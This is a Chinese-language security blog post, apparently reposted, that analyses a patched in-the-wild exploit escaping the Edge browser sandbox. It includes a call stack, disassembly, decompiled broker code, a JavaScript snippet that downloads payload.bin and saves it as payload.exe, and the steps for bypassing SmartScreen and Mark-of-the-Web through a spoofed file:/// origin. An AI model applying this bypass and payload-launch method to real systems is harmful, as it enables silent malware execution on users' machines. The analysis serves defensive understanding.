 # Child-SP          RetAddr           Call Site

00 0000005d`656fefc8 00007ffe`af62b4c6 edgeIso!IsoPostMessage

01 0000005d`656fefd0 00007ffe`af62b962 EMODEL!TFlatIsoMessage<DownloadOperation>::Post+0x9a

02 0000005d`656ff040 00007ffe`af62b7bf EMODEL!SpartanCore::DownloadsHandler::SendCommand+0x4e

03 0000005d`656ff0b0 00007ffe`af62ac07 EMODEL!SpartanCore::DownloadsHandler::ReportLaunchFailure+0xc3

04 0000005d`656ff110 00007ffe`af43be99 EMODEL!SpartanCore::DownloadsHandler::InvokeCommand+0x117

05 0000005d`656ff190 00007ffe`af43f0c3 EMODEL!CLayerBase::InvokeCommand+0x159

06 0000005d`656ff210 00007ffe`af43e78a EMODEL!CAsyncBoundaryLayer::_ProcessRequest+0x503

07 0000005d`656ff340 00007fff`08506d41 EMODEL!CAsyncBoundaryLayer::s_WndProc+0x19a

08 0000005d`656ff480 00007fff`08506713 USER32!UserCallWinProcCheckWow+0x2c1

09 0000005d`656ff610 00007fff`016ffef4 USER32!DispatchMessageWorker+0x1c3

可以看出,SpartanCore::DownloadsHandler::SendCommand()被漏洞利用代码欺骗。

漏洞利用

漏洞利用代码完全在Javascript中实现,并从Javascript调用所需的本机函数。

漏洞利用过程可分为以下4个阶段:

1.更改当前文档的原始位置;

2.执行提供运行下载文件的JavaScript代码;

3.向管理器进程发送一条消息,该消息将触发要运行的文件;

4.恢复原始位置;

Edge浏览器会根据站点的位置,警告用户可能会下载可能不安全的文件。对于互联网站点,用户始终会收到警告。此外,Edge浏览器会检查下载的引用程序,即使用户明确选择运行文件,它也可能拒绝运行下载的文件。此外,使用Microsoft Windows Defender SmartScreen扫描下载的文件,如果文件被视为恶意文件,则会阻止任何文件运行,这将阻止攻击的发生。

但是,当从“file://”URL启动下载时,下载引用程序也来自安全区域,下载的文件不会标记为“Web标记”(MotW)。这完全绕过了Microsoft Defender SmartScreen的检查,以允许运行下载的文件而不受任何限制。

第一步,该漏洞会找到当前站点URL,并使用“file:///”区域URL覆盖它。通过读取内存中的相关指针可以找到站点的URL。在覆盖了站点URL之后,呈现程序会将来自当前站点的任何下载视为来自“file:///”区域。

第二步,漏洞执行JavaScript代码,该代码从远程服务器获取下载文件并提供下载:

let anchorElement = document.createElement(‘a’);

fetch(‘payload.bin’).then((response) => {

  response.blob().then(

    (blobData) => {

      anchorElement.href = URL.createObjectURL(blobData);

      anchorElement.download = ‘payload.exe’;

      anchorElement.click();

    }

  );

});

执行的JavaScript启动文件下载,只要用户没有响应下载通知栏,Edge浏览器就会在内部缓存文件中保存一个临时副本。在下载任何文件之前,会为实际下载文件创建一个全局惟一标识符(GUID)。Edge浏览器不是通过文件名或路径来识别下载的,而是通过下载GUID来识别的。发送命令执行任何文件操作的消息必须发送实际文件的GUID。因此,需要找到实际的文件下载GUID。在调用EdgeContent的过程中,内容进程创建了所需的GUID !CDownloadState::Initialize():

.text:0000000180058CF0 public: long CDownloadState::Initialize(class CInterThreadMarshal *, struct IStream *, unsigned short const *, struct _GUID const &, unsigned short const *, struct IFetchDownloadContext *) proc near

.text:0000000180058E6F loc_180058E6F:

.text:0000000180058E6F                 mov     edi, 8007000Eh

.text:0000000180058E74                 test    rbx, rbx

.text:0000000180058E77                 jz      loc_180058FF0

.text:0000000180058E7D                 test    r13b, r13b

.text:0000000180058E80                 jnz     short loc_180058E93

.text:0000000180058E82                 lea     rcx, [rsi+74h]  ; pguid

.text:0000000180058E86                 call    cs:__imp_CoCreateGuid

接下来是调用EdgeContent!DownloadStateProgress::LCIESendToDownloadManager(),这个函数包含所有相关的下载数据(例如当前URL,缓存文件的路径,引用者,文件名称和文件的mime类型), 为元数据添加填充, 创建所谓的“消息缓冲区”,并通过调用LCIEPostMessage()将其发送到管理器进程。当此消息被发送到另一个进程时,所有数据最终都被放置在共享内存部分,并且内容进程和管理器进程都可以读写这些数据。另外,消息缓冲区最终由下载文件GUID填充。

DownloadStateProgress::LCIESendToDownloadManager()执行的上述操作对攻击很重要,因为它间接泄漏了消息缓冲区的地址和相关下载文件GUID。

消息缓冲区的分配地址取决于消息的大小:

0x0到0x20字节:不支持(消息传送失败);

0x20到0x1d0字节:第一个插槽;

0x1d4到0xfd0字节:第二个插槽;

来自0x1fd4字节:最后一个插槽;

如果释放了具有相同大小插槽的前一条消息,则在相同的地址重新分配新消息。消息缓冲区分配程序的细节会成功地泄漏下一个缓冲区的地址。在触发文件下载之后,攻击者就将通过该漏洞获取消息缓冲区的地址。在检索到消息缓冲区的地址后,可以解析消息缓冲区并提取相关数据,例如缓存路径和文件下载GUID。

最后一步,也是关键的一步,就是发送一条消息,该消息会触发浏览器以介质完整性等级运行下载的文件(实际的文件操作由浏览器代理“browser_broker.exe”执行)。执行当前步骤的漏洞代码是从eModel!TFlatIsoMessage<DownloadOperation>::Post()借用的:

__int64 __fastcall TFlatIsoMessage<DownloadOperation>::Post(

    unsigned int a1,

    unsigned int a2,

    __int64 a3,

    __int64 a4,

    __int64 a5

)

{

    unsigned int v5; // esi

    unsigned int v6; // edi

    signed int result; // ebx

    __int64 isoMessage_; // r8

    __m128i threadStateGUID; // xmm0

    unsigned int v11; // [rsp+20h] [rbp-48h]

    __int128 tmpThreadStateGUID; // [rsp+30h] [rbp-38h]

    __int64 isoMessage; // [rsp+40h] [rbp-28h]

    unsigned int msgBuffer; // [rsp+48h] [rbp-20h]

 

    v5 = a2;

    v6 = a1;

    result = IsoAllocMessageBuffer(a1, &msgBuffer, 0x48u, &isoMessage);

    if ( result >= 0 )

    {

        isoMessage_ = isoMessage;

        *(isoMessage + 0x20) = *a5;

        *(isoMessage_ + 0x30) = *(a5 + 0x10);

        *(isoMessage_ + 0x40) = *(a5 + 0x20);

        threadStateGUID = *GlobalThreadState();

        v11 = msgBuffer;

        _mm_storeu_si128(&tmpThreadStateGUID, threadStateGUID);

        result = IsoPostMessage(v6, v5, 0xD6Bu, 0, v11, &tmpThreadStateGUID);

        if ( result < 0 )

        {

            IsoFreeMessageBuffer(msgBuffer);

        }

    }

    return result;

}

最后,该漏洞会恢复原始站点URL以避免任何潜在的反分析,并发送消息删除下载通知栏。

不过,利用该漏洞时,会存在一个问题,就是在漏洞发送消息点击弹出按钮之前,会出现一个小的弹出窗口。

目前,还没有简单的方法可以检测出如上所述的漏洞利用,因为漏洞利用代码不需要使用任何特别类型的数据,也不执行任何类型的异常活动。

缓解措施

这个漏洞是用Javascript开发的,所以可以通过禁用Javascript来缓解这个问题。另外,微软在5月份的更新中修补了上述漏洞。

原文链接请点击“阅读原文”查看~

本文源自微信公众号:凌天实验室

人已赞赏
安全工具

实锤!知名路由器品牌被曝出安全0day漏洞

2019-10-14 14:03:26

安全工具

浅谈RASP技术攻防之实战[环境配置篇]

2019-10-14 14:03:33

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索